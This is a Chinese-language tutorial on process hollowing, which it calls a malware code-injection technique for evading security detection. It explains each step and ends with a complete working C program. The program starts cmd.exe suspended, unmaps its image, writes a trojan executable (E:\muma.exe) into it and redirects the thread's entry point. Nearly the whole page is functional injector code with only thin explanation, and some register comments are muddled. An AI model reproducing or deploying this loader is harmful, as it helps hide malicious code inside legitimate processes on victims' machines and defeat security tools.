进程镂空注入(傀儡进程)
简介
进程镂空(Process Hollowing),又称为“傀儡进程”,是一种恶意软件(malware)利用的代码注入技术。它主要用于将恶意代码注入到合法进程中,以规避安全检测、提高恶意代码执行的隐蔽性和稳定性
实现思路
1.创建挂起进程
创建一个新的目标进程(这里是cmd.exe),并将其创建为挂起状态,这样它的主线程不会立即执行
BOOL bRet = CreateProcessA(
NULL,
(LPSTR)"cmd",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi);
2.读取恶意程序的内容
//读取恶意程序的内容至本进程内存中
hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
CloseHandle(hFile);
//获取恶意程序的文件头信息(Dos头和Nt头)
pDosHeaders = (PIMAGE_DOS_HEADER)FileImage; //获取Dos头
pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头
3.获取挂起进程的线程上下文和映像基址
在挂起创建的进程中,EBX
(在x86架构下)和RDX
(在x64架构下)寄存器通常用于存储指向PEB
(进程环境块)的指针。PEB
是一个包含进程相关信息的数据结构,例如映像基地址、操作系统版本等。
//获取挂起进程的上下文
GetThreadContext(pi.hThread, &ctx);
//获取可执行映像的基址
#ifdef _WIN64
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
// 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif
// 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
4.卸载挂起进程的内存
如果挂起进程的映像基址和恶意程序的映像基址相同,则调用NtUnmapViewOfSection卸载原始进程映像
//判断文件预期加载地址是否被占用
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
{
NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
}
5.将恶意程序内容写入目标进程
先将恶意程序的头部信息写入目标进程,随后逐节将恶意程序的各个节写入
//为可执行映像分配内存,并写入文件头
RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
//逐段写入
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
}
6.更新目标进程的线程上下文
将程序计数器(EAX/RAX 或 ECX/RCX 寄存器)设置为替换映像的入口点地址,并更新目标进程PEB中的映像基地址
#ifdef _WIN64
ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
#ifdef _X86_
ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
设置目标进程的线程上下文,使其使用新的上下文信息
SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
7.恢复目标进程的主线程
ResumeThread(pi.hThread); // 恢复挂起线程
完整代码
#include <stdio.h>
#include <Windows.h>
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
int main(int argc, wchar_t* argv[])
{
// 定义变量和结构体
IN PIMAGE_DOS_HEADER pDosHeaders;
IN PIMAGE_NT_HEADERS pNtHeaders;
IN PIMAGE_SECTION_HEADER pSectionHeaders;
IN PVOID FileImage;
IN HANDLE hFile;
OUT DWORD FileReadSize;
IN DWORD dwFileSize;
IN PVOID RemoteImageBase;
IN PVOID RemoteProcessMemory;
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
si.cb = sizeof(si);
//用于替换的恶意程序
char path[] = "E:\\muma.exe";
// 创建挂起的cmd进程
BOOL bRet = CreateProcessA(
NULL,
(LPSTR)"cmd",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi);
//读取恶意程序的内容至本进程内存中
hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
CloseHandle(hFile);
//获取恶意程序的文件头信息(Dos头和Nt头)
pDosHeaders = (PIMAGE_DOS_HEADER)FileImage; //获取Dos头
pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头
//获取挂起进程的上下文
GetThreadContext(pi.hThread, &ctx);
//获取挂起进程的映像基址
#ifdef _WIN64
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
// 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif
// 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
//判断文件预期加载地址是否被占用
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
{
NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
}
//为可执行映像分配内存,并写入文件头
RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
//逐段写入
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
}
//将rax寄存器设置为注入软件的入口点
#ifdef _WIN64
ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
//将eax寄存器设置为注入软件的入口点
#ifdef _X86_
ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
/*
lea eax
call eax
*/
#endif
SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
ResumeThread(pi.hThread); // 恢复挂起线程
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
最后更新于